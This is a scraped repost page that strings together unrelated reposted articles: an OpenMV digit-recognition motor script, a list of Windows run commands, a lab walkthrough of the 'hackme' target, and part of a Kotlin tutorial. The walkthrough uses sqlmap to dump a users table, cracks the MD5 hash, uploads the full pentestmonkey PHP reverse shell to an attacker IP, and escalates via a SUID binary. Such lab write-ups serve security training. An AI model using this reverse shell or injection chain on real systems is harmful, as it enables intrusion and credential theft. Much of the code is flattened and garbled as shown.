本人修改后的完整代码展示如下,使用的是OpenMV IDE(官网下载): 数字识别后控制直流电机转速from pyb import Pin, Timerimport sensor, image, time, os, tf, math, random, lcd, uos, gc 根据识别的数字输出不同占比的PWM波def run(number):if inverse == True:ain1.low()ain2.high()else:ain1.high()ain2.low()ch1.pulse_width_percent(abs(number10)) 具体参数调整自行搜索sensor.reset() 初始化感光元件sensor.set_pixformat(sensor.GRAYSCALE) set_pixformat : 设置像素模式(GRAYSCALSE : 灰色; RGB565 : 彩色)sensor.set_framesize(sensor.QQVGA2) set_framesize : 设置处理图像的大小sensor.set_windowing((128, 160)) set_windowing : 设置提取区域大小sensor.skip_frames(time = 2000) skip_frames :跳过2000ms再读取图像lcd.init() 初始化lcd屏幕。inverse = False True : 电机反转 False : 电机正转ain1 = Pin('P1', Pin.OUT_PP) 引脚P1作为输出ain2 = Pin('P4', Pin.OUT_PP) 引脚P4作为输出ain1.low() P1初始化低电平ain2.low() P4初始化低电平tim = Timer(2, freq = 1000) 采用定时器2,频率为1000Hzch1 = tim.channel(4, Timer.PWM, pin = Pin('P5'), pulse_width_percent = 100) 输出通道1 配置PWM模式下的定时器(高电平有效) 端口为P5 初始占空比为100%clock = time.clock() 设置一个时钟用于追踪FPS 加载模型try:net = tf.load("trained.tflite", load_to_fb=uos.stat('trained.tflite')[6] > (gc.mem_free() - (641024)))except Exception as e:print(e)raise Exception('Failed to load "trained.tflite", did you copy the .tflite and labels.txt file onto the mass-storage device? (' + str(e) + ')') 加载标签try:labels = [line.rstrip('\n') for line in open("labels.txt")]except Exception as e:raise Exception('Failed to load "labels.txt", did you copy the .tflite and labels.txt file onto the mass-storage device? (' + str(e) + ')') 不断的进行运行while(True):clock.tick() 更新时钟img = sensor.snapshot().binary([(0,64)]) 抓取一张图像以灰度图显示lcd.display(img) 拍照并显示图像for obj in net.classify(img, min_scale=1.0, scale_mul=0.8, x_overlap=0.5, y_overlap=0.5): 初始化最大值和标签max_num = -1max_index = -1print("\nPredictions at [x=%d,y=%d,w=%d,h=%d]" % obj.rect())img.draw_rectangle(obj.rect()) 预测值和标签写成一个列表predictions_list = list(zip(labels, obj.output())) 输出各个标签的预测值,找到最大值进行输出for i in range(len(predictions_list)):print('%s 的概率为: %f' % (predictions_list[i][0], predictions_list[i][1]))if predictions_list[i][1] > max_num:max_num = predictions_list[i][1]max_index = int(predictions_list[i][0])run(max_index)print('该数字预测为:%d' % max_index)print('FPS为:', clock.fps())print('PWM波占空比为: %d%%' % (max_index10)) 2. 采用器件 使用的器件为OpenMV4 H7 Plus和L298N以及常用的直流电机。关键是找到器件的引脚图,再进行简单的连线即可。 参考文章:【L298N驱动模块学习笔记】–openmv驱动 参考文章:【openmv】原理图 引脚图 2. 注意事项 上述代码中我用到了lcd屏幕,主要是为了方便离机操作。使用过程中,OpenMV的lcd初始化时会重置端口,所有我们在输出PWM波的时候一定不要发生引脚冲突。我们可以在OpenMV官网查看lcd用到的端口: 可以看到上述用到的是P0、P2、P3、P6、P7和P8。所有我们输出PWM波时要避开这些端口。下面是OpenMV的PWM资源: 总结 本人第一次自己做东西也是第一次使用python,所以代码和项目写的都很粗糙,只是简单的识别数字控制直流电机。我也是四处借鉴修改后写下的大小,这篇文章主要是为了给那些像我一样的小白们提供一点帮助,减少大家查找资料的时间。模型的缺陷以及改进方法上述中已经说明,如果我有写错或者大家有更好的方法欢迎大家告诉我,大家一起进步! 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_57100435/article/details/130740351。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-10 08:44:41
283
转载
转载文章
....cliconfg:SQL SERVER 客户端网络实用工具 8.cmstp:连接管理器配置文件安装程序 9.cmd:CMD命令提示符 10.自动关机命令 Shutdown -s -t 600:表示600秒后自动关机 shutdown -a :可取消定时关机 Shutdown -r -t 600:表示600秒后自动重启 rundll32 user32.dll,LockWorkStation:表示锁定计算机 11.colorcpl:颜色管理,配置显示器和打印机等中的色彩 12.CompMgmtLauncher:计算机管理 13.compmgmt.msc:计算机管理 14.credwiz:备份或还原储存的用户名和密码 15.comexp.msc:打开系统组件服务 16.control:控制面版 17.dcomcnfg:打开系统组件服务 18.Dccw:显示颜色校准 19.devmgmt.msc:设备管理器 20.desk.cpl:屏幕分辨率 21.dfrgui:优化驱动器 Windows 7→dfrg.msc:磁盘碎片整理程序 22.dialer:电话拨号程序 23.diskmgmt.msc:磁盘管理 24.dvdplay:DVD播放器 25.dxdiag:检查DirectX信息 26.eudcedit:造字程序 27.eventvwr:事件查看器 28.explorer:打开资源管理器 29.Firewall.cpl:Windows防火墙 30.FXSCOVER:传真封面编辑器 31.fsmgmt.msc:共享文件夹管理器 32.gpedit.msc:组策略 33.hdwwiz.cpl:设备管理器 34.inetcpl.cpl:Internet属性 35.intl.cpl:区域 36.iexpress:木马捆绑工具,系统自带 37.joy.cpl:游戏控制器 38.logoff:注销命令 39.lusrmgr.msc:本地用户和组 40.lpksetup:语言包安装/删除向导,安装向导会提示下载语言包 41.lusrmgr.msc:本机用户和组 42.main.cpl:鼠标属性 43.mmsys.cpl:声音 44.magnify:放大镜实用程序 45.mem.exe:显示内存使用情况(如果直接运行无效,可以先管理员身份运行命令提示符,在命令提示符里输入mem.exe>d:a.txt 即可打开d盘查看a.txt,里面的就是内存使用情况了。当然什么盘什么文件名可自己决定。) 46.MdSched:Windows内存诊断程序 47.mmc:打开控制台 48.mobsync:同步命令 49.mplayer2:简易widnows media player 50.Msconfig.exe:系统配置实用程序 51.msdt:微软支持诊断工具 52.msinfo32:系统信息 53.mspaint:画图 54.Msra:Windows远程协助 55.mstsc:远程桌面连接 56.NAPCLCFG.MSC:客户端配置 57.ncpa.cpl:网络连接 58.narrator:屏幕“讲述人” 59.Netplwiz:高级用户帐户控制面板,设置登陆安全相关的选项 60.netstat : an(TC)命令检查接口 61.notepad:打开记事本 62.Nslookup:IP地址侦测器 63.odbcad32:ODBC数据源管理器 64.OptionalFeatures:打开“打开或关闭Windows功能”对话框 65.osk:打开屏幕键盘 66.perfmon.msc:计算机性能监测器 67.perfmon:计算机性能监测器 68.PowerShell:提供强大远程处理能力 69.printmanagement.msc:打印管理 70.powercfg.cpl:电源选项 71.psr:问题步骤记录器 72.Rasphone:网络连接 73.Recdisc:创建系统修复光盘 74.Resmon:资源监视器 75.Rstrui:系统还原 76.regedit.exe:注册表 77.regedt32:注册表编辑器 78.rsop.msc:组策略结果集 79.sdclt:备份状态与配置,就是查看系统是否已备份 80.secpol.msc:本地安全策略 81.services.msc:本地服务设置 82.sfc /scannow:扫描错误并复原/windows文件保护 83.sfc.exe:系统文件检查器 84.shrpubw:创建共享文件夹 85.sigverif:文件签名验证程序 86.slui:Windows激活,查看系统激活信息 87.slmgr.vbs -dlv :显示详细的许可证信息 88.snippingtool:截图工具,支持无规则截图 89.soundrecorder:录音机,没有录音时间的限制 90.StikyNot:便笺 91.sysdm.cpl:系统属性 92.sysedit:系统配置编辑器 93.syskey:系统加密,一旦加密就不能解开,保护系统的双重密码 94.taskmgr:任务管理器(旧版) 95.TM任务管理器(新版) 96.taskschd.msc:任务计划程序 97.timedate.cpl:日期和时间 98.UserAccountControlSettings用户账户控制设置 99.utilman:辅助工具管理器 100.wf.msc:高级安全Windows防火墙 101.WFS:Windows传真和扫描 102.wiaacmgr:扫描仪和照相机向导 103.winver:关于Windows 104.wmimgmt.msc:打开windows管理体系结构(WMI) 105.write:写字板 106.wscui.cpl:操作中心 107.wuapp:Windows更新 108.wscript:windows脚本宿主设置 六、小结 键盘快捷键会大大提高使用效率,让你在外行面前显得更酷。持续更新中…感谢点赞,评论与转发,谢谢! 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_44168588/article/details/121208530。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-01 13:38:26
92
转载
转载文章
...hat the mysqld shuts down on its own (very rare cases), attempt to force restart the machine and it should be working fine subsequently. This works better with VirtualBox rather than VMware 一、搭建靶机环境 攻击机Kali: IP地址:192.168.184.128 靶机: IP地址:192.168.184.149 注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式) 二、实战 2.1网络扫描 2.1.1 启动靶机和Kali后进行扫描 方法一、arp-scan -I eth0 -l (指定网卡扫) arp-scan -I eth0 -l 方法二、masscan 扫描的网段 -p 扫描端口号 masscan 192.168.184.0/24 -p 80,22 方法三、netdiscover -i 网卡-r 网段 netdiscover -i eth0 -r 192.168.184.0/24 方法四、等你们补充 2.1.2 查看靶机开放的端口 使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口 可以发现有 2 个端口开放,22 和 80 2.1.3 尝试访问靶机网页 2.2枚举漏洞 22 端口分析 一般只能暴力破解,暂时没有合适的字典 80 端口分析 访问网站, 发现是一个登陆页面 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nm2jCq05-1650016495541)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110170424128.png)] 成功登录后 尝试手工注入:x' or 1=1 成功返回所有信息,说明存在SQL注入 2.3漏洞利用 2.3.1 sqlmap 利用注入漏洞 使用 burp 抓查询数据包 POST /welcome.php HTTP/1.1Host: 192.168.184.149Content-Length: 23Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.184.149Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.184.149/welcome.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3Connection: closesearch=x 将数据包保存为文件 hackme1.txt 使用 sqlmap 跑一下测试漏洞并获取数据库名: 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin,超级管理员,看起来像一个md5 扩展 在线解密md5网站 国内MD5解密: http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 国外MD5解密: https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是:Uncrackable 登录上去,发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到 查看文件内容,并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听:nc -lvp 6666 访问后门文件:http://192.168.184.149/php-reverse-shell.php 不成功 尝试加上传文件夹:http://192.168.184.149/uploads/php-reverse-shell.php 成功访问 使用 python 切换为 bash:python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了,换个方法 查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询:touchmenot 没找到 尝试运行程序:发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这? 总结 本节使用的工具和漏洞比较基础,涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具:sqlmap 抓包工具:burpsuite Webshell 后门:kali 内置后门 Suid 提权:touchmenot 提权 本篇文章为转载内容。原文链接:https://blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-02 12:50:54
498
转载
转载文章
...使用类访问静态成员的语法。因为 Kotlin 取消了 static 关键字,所以 Kotlin 引入伴生对象来弥补没有静态成员的不足。可见,伴生对象的主要作用就是为其所在的外部类模拟静态成员。 在 Java 代码中调用伴生对象 如何在 Java 代码中调用 Kotlin 的伴生对象呢? public static void main(String[] args) { 如果声明伴生对象有名称,则使用: 类名.伴生对象名.方法名() 类名.半生对象名.属性的setter,getter方法 如果声明伴生对象无名称,则采用 Companion 关键字调用: .Companion.方法名() @JvmField 和 @JvmStatic 的使用 在上面的例子中,我们知道了可以在 Java 代码中调用 Kotlin 中伴生对象的成员,类似于 Java 类中的静态成员。但是看上去和 Java 中的还是略有区别,因为类名和方法名/属性setter,getter方法名之间多了个伴生对象的名称或者 Companion 关键字。如何使其在调用的时候与 Java 中的调用看上去一样呢? Kotlin 为我们提供了 @JvmField 和 @JvmStatic 两个注解。@JvmField 使用在属性上,@JvmStatic 使用在方法上。如: class Test { 这样我们在 Java 代码中调用的时候就和 Java 类调用静态成员的形式一致了,Kotlin 代码调用方式不变: System.out.println(Test.flag); System.out.println(Test.add(1, 2)); const 关键字 在伴生对象中,我们可能需要声明一个常量,目的是等同于 Java 中的静态常量。有两种方式,一种是上面所提到的使用 @JvmField 注解,另一种则是使用 const 关键字修饰。这两种声明方式都等同于 Java 中 static final 所修饰的变量。如下代码: companion 扩展属性和扩展方法 扩展函数 Kotlin的扩展函数可以让你作为一个类成员进行调用的函数,但是是定义在这个类的外部。这样可以很方便的扩展一个已经存在的类,为它添加额外的方法 下面我们为String添加一个toInt的方法 package com.binzi.kotlin 在这个扩展函数中,你可以直接访问你扩展的类的函数和属性,就像定义在这个类中的方法一样,但是扩展函数并不允许你打破封装。跟定义在类中方法不同,它不能访问那些私有的、受保护的方法和属性。 扩展函数的导入 我们直接在包里定义扩展函数。这样我们就可以在整个包里面使用这些扩展,如果我们要使用其他包的扩展,我们就需要导入它。导入扩展函数跟导入类是一样的方式。 import 有时候,可能你引入的第三方包都对同一个类型进行了相同函数名扩展,为了解决冲突问题,你可以使用下面的方式对扩展函数进行改名 import com.binzi.kotlin.toInt as toInteger 扩展函数不可覆盖 扩展方法的原理 Kotlin 中类的扩展方法并不是在原类的内部进行拓展,通过反编译为Java代码,可以发现,其原理是使用装饰模式,对源类实例的操作和包装,其实际相当于我们在 Java中定义的工具类方法,并且该工具类方法是使用调用者为第一个参数的,然后在工具方法中操作该调用者 如: fun String?.toInt(): 反编译为对应的Java代码: public 扩展属性 类的扩展属性原理其实与扩展方法是一样的,只是定义的形式不同,扩展属性必须定义get和set方法 为MutableList扩展一个firstElement属性: var 反编译后的java代码如下: public static final Object getFirstElement(@NotNull List $this$firstElement) { 内部类 kotlin的内部类与java的内部类有点不同java的内部类可以直接访问外部类的成员,kotlin的内部类不能直接访问外部类的成员,必须用inner标记之后才能访问外部类的成员 没有使用inner标记的内部类 class A{ 反编译后的java代码 public 用inner标记的内部类 class A{ 反编译后的java代码 public 从上面可以看出,没有使用inner标记的内部类最后生成的是静态内部类,而使用inner标记的生成的是非静态内部类 匿名内部类 匿名内部类主要是针对那些获取抽象类或者接口对象而来的。最常见的匿名内部类View点击事件: //java,匿名内部类的写法 上面这个是java匿名内部类的写法,kotlin没有new关键字,那么kotlin的匿名内部类该怎么写呢? object : View.OnClickListener{ 方法的参数是一个匿名内部类,先写object:,然后写你的参数类型View.OnClickListener{} kotlin还有一个写法lambda 表达式,非常之方便: print( 数据类 在Java中没有专门的数据类,常常是通过JavaBean来作为数据类,但在Kotlin中提供了专门的数据类。 Java public 从上面的例子中可以看到,如果要使用数据类,需要手动写相应的setter/getter方法(尽管IDE也可以批量生成),但是从代码阅读的角度来说,在属性较多的情况下,诸多的seeter/getter方法还是不利于代码的阅读和维护。 Kotlin 在Kotlin中,可以通过关键字data来生成数据类: data 即在class关键字之前添加data关键字即可。编译器会根据主构造函数中的参数生成相应的数据类。自动生成setter/getter、toString、hashCode等方法 要声明一个数据类,需要满足: 主构造函数中至少有一个参数 主构造函数中所有参数需要标记为val或var 数据类不能是抽象、开发、密封和内部的 枚举类 枚举类是一种特殊的类,kotlin可以通过enum class关键字定义枚举类。 枚举类可以实现0~N个接口; 枚举类默认继承于kotlin.Enum类(其他类最终父类都是Any),因此kotlin枚举类不能继承类; 非抽象枚举类不能用open修饰符修饰,因此非抽象枚举类不能派生子类; 抽象枚举类不能使用abstract关键字修饰enum class,抽象方法和抽象属性需要使用; 枚举类构造器只能使用private修饰符修饰,若不指定,则默认为private; 枚举类所有实例在第一行显式列出,每个实例之间用逗号隔开,整个声明以分号结尾; 枚举类是特殊的类,也可以定义属性、方法、构造器; 枚举类应该设置成不可变类,即属性值不允许改变,这样更安全; 枚举属性设置成只读属性后,最好在构造器中为枚举类指定初始值,如果在声明时为枚举指定初始值,会导致所有枚举值(或者说枚举对象)的该属性都一样。 定义枚举类 / 定义一个枚举类 / 枚举类实现接口 枚举值分别实现接口的抽象成员 enum 枚举类统一实现接口的抽象成员 enum 分别实现抽象枚举类抽象成员 enum 委托 委托模式 是软件设计模式中的一项基本技巧。在委托模式中,有两个对象参与处理同一个请求,接受请求的对象将请求委托给另一个对象来处理。委托模式是一项基本技巧,许多其他的模式,如状态模式、策略模式、访问者模式本质上是在更特殊的场合采用了委托模式。委托模式使得我们可以用聚合来替代继承。 Java中委托: interface Printer { Kotlin: interface Printer { by表示 p 将会在 PrintImpl 中内部存储, 并且编译器将自动生成转发给 p 的所有 Printer 的方法。 委托属性 有一些常见的属性类型,虽然我们可以在每次需要的时候手动实现它们, 但是如果能够为大家把他们只实现一次并放入一个库会更好。例如包括: 延迟属性(lazy properties): 其值只在首次访问时计算; 可观察属性(observable properties): 监听器会收到有关此属性变更的通知; 把多个属性储存在一个映射(map)中,而不是每个存在单独的字段中。 为了涵盖这些(以及其他)情况,Kotlin 支持 委托属性 。 委托属性的语法是: var : 在 by 后面的表达式是该 委托, 因为属性对应的 get()(和 set())会被委托给它的 getValue() 和 setValue() 方法。 标准委托: Kotlin 标准库为几种有用的委托提供了工厂方法。 延迟属性 Lazy lazy() 接受一个 lambda 并返回一个 Lazy 实例的函数,返回的实例可以作为实现延迟属性的委托:第一次调用 get() 会执行已传递给 lazy() 的 lambda 表达式并记录结果, 后续调用 get() 只是返回记录的结果。例如: val lazyValue: String 可观察属性 Observable Delegates.observable() 接受两个参数:初始值和修改时处理程序(handler)。每当我们给属性赋值时会调用该处理程序(在赋值后执行)。它有三个参数:被赋值的属性、旧值和新值: class User { 如果想拦截赋的新值,并根据你是不是想要这个值来决定是否给属性赋新值,可以使用 vetoable() 取代 observable(),接收的参数和 observable 一样,不过处理程序 返回值是 Boolean 来决定是否采用新值,即在属性被赋新值生效之前 会调用传递给 vetoable 的处理程序。例如: class User { 把属性存在map 中 一个常见的用例是在一个映射(map)里存储属性的值。这经常出现在像解析 JSON 或者做其他“动态”事情的应用中。在这种情况下,你可以使用映射实例自身作为委托来实现委托属性。 例如: class User(map: Map 在上例中,委托属性会从构造函数传入的map中取值(通过字符串键——属性的名称),如果遇到声明的属性名在map 中找不到对应的key 名,或者key 对应的value 值的类型与声明的属性的类型不一致,会抛出异常。 内联函数 当一个函数被声明为inline时,它的函数体是内联的,也就是说,函数体会被直接替换到函数被调用地方 inline函数(内联函数)从概念上讲是编译器使用函数实现的真实代码来替换每一次的函数调用,带来的最直接的好处就是节省了函数调用的开销,而缺点就是增加了所生成字节码的尺寸。基于此,在代码量不是很大的情况下,我们是否有必要将所有的函数定义为内联?让我们分两种情况进行说明: 将普通函数定义为内联:众所周知,JVM内部已经实现了内联优化,它会在任何可以通过内联来提升性能的地方将函数调用内联化,并且相对于手动将普通函数定义为内联,通过JVM内联优化所生成的字节码,每个函数的实现只会出现一次,这样在保证减少运行时开销的同时,也没有增加字节码的尺寸;所以我们可以得出结论,对于普通函数,我们没有必要将其声明为内联函数,而是交给JVM自行优化。 将带有lambda参数的函数定义为内联:是的,这种情况下确实可以提高性能;但在使用的过程中,我们会发现它是有诸多限制的,让我们从下面的例子开始展开说明: inline 假如我们这样调用doSomething: fun main(args: Array<String>) { 上面的调用会被编译成: fun main(args: Array<String>) { 从上面编译的结果可以看出,无论doSomething函数还是action参数都被内联了,很棒,那让我们换一种调用方式: fun main(args: Array<String>) { 上面的调用会被编译成: fun main(args: Array<String>) { doSomething函数被内联,而action参数没有被内联,这是因为以函数型变量的形式传递给doSomething的lambda在函数的调用点是不可用的,只有等到doSomething被内联后,该lambda才可以正常使用。 通过上面的例子,我们对lambda表达式何时被内联做一下简单的总结: 当lambda表达式以参数的形式直接传递给内联函数,那么lambda表达式的代码会被直接替换到最终生成的代码中。 当lambda表达式在某个地方被保存起来,然后以变量形式传递给内联函数,那么此时的lambda表达式的代码将不会被内联。 上面对lambda的内联时机进行了讨论,消化片刻后让我们再看最后一个例子: inline 上面的例子是否有问题?是的,编译器会抛出“Illegal usage of inline-parameter”的错误,这是因为Kotlin规定内联函数中的lambda参数只能被直接调用或者传递给另外一个内联函数,除此之外不能作为他用;那我们如果确实想要将某一个lambda传递给一个非内联函数怎么办?我们只需将上述代码这样改造即可: inline 